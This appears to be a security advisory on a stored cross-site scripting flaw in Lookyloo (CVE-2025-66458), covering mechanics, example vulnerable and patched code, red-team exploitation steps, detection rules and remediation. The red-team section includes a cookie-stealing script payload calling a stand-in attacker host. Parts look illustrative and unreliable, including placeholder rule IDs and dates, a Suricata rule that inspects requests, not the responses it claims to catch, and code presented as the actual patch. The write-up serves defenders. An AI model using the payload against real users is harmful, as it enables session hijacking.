CVE-2025-66458

Executive Summary

CVE-2025-66458 is a stored Cross-Site Scripting (XSS) vulnerability in Lookyloo, a web interface for capturing and visualizing website domain trees. The flaw arises from unsafe use of f-strings in Markup, allowing a malicious third-party server to inject JavaScript code into a JSON document. When a user views the captured page tree, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further attacks. The vulnerability affects all versions prior to 1.35.3 and has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of XSS, a realistic score would be 6.1 (Medium). No public exploit code or nuclei templates are available at this time.

Supply Chain & Package Security

Lookyloo is a Python-based web application. The vulnerability is introduced through unsafe string formatting in the Markup library, which is a dependency. Users should ensure they are using Lookyloo version 1.35.3 or later, and verify the integrity of the package via official PyPI or GitHub releases. No other supply chain risks have been identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must view the malicious page tree.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 6.1). Exploitation requires user interaction but can lead to significant client-side attacks.

Deep Dive & Mechanics

The vulnerability exists in Lookyloo’s handling of JSON responses from third-party servers. When Lookyloo captures a website, it requests resources from external domains. If a malicious server responds with a crafted JSON document containing JavaScript code in a script element, Lookyloo’s Markup rendering uses unsafe f-strings to embed this data into the page. This results in the injected script being executed in the context of the Lookyloo application.

The core issue is that the Markup library’s f-string interpolation does not properly escape HTML/JavaScript characters. For example, if the JSON contains {"name": "<script>alert('XSS')</script>"}, the f-string f"<div>{data['name']}</div>" would render the script tag as raw HTML, leading to XSS.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.35.3):

from markupsafe import Markup

def render_data(data):
    # Unsafe f-string usage
    html = Markup(f"<div>{data['name']}</div>")
    return html

Patched Code (1.35.3):

from markupsafe import escape

def render_data(data):
    # Safe escaping
    html = f"<div>{escape(data['name'])}</div>"
    return html

The patch replaces direct Markup f-string interpolation with explicit escape() calls, ensuring all user-controlled data is properly HTML-escaped.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Lookyloo instance (version < 1.35.3) accessible over the network.
• A malicious HTTP server that responds with a crafted JSON payload.

Exploitation Steps:

1. Set up a malicious server that returns a JSON document with XSS payload:

   {
     "name": "<script>alert('XSS')</script>",
     "url": "http://malicious-server.com/payload"
   }
   

2. Trick a Lookyloo user into capturing a page that includes a resource from your malicious server (e.g., via social engineering or by hosting a page that references it).
3. When the user views the captured tree, the injected script executes.

Example Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor Lookyloo logs for unusual JSON responses containing script tags.
• Use WAF rules to block responses with <script> tags from external servers.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for Lookyloo instances running versions < 1.35.3.
• Review captured page trees for unexpected JavaScript execution.

Indicators of Compromise (IOCs)

• Network: HTTP responses from external servers containing <script> tags in JSON.
• Logs: Lookyloo logs showing requests to known malicious domains.
• File: Modified Lookyloo source files (if attacker gained access).
• Behavior: Unexpected JavaScript alerts or network requests from Lookyloo interface.

Detection Engineering

YARA Rule

rule Lookyloo_XSS_Detection {
    meta:
        description = "Detects Lookyloo XSS payloads in JSON responses"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-66458"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
    condition:
        $xss_payload
}

Sigma Rule

title: Lookyloo XSS via Malicious JSON Response
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Lookyloo XSS exploitation attempts
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: lookyloo
detection:
    selection:
        response_body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in captured content
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Lookyloo XSS Payload Detected"; flow:to_server,established; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade Lookyloo to version 1.35.3 or later.
• If upgrade is not possible, apply a WAF rule to block responses containing <script> tags.

Long-term:

• Conduct a code review of all f-string usage in Markup.
• Implement input validation and output encoding for all user-controlled data.
• Add CSP headers to mitigate XSS impact.

Workaround:

• Restrict Lookyloo to trusted internal networks only.
• Disable the ability to capture external resources if not needed.

Valters IT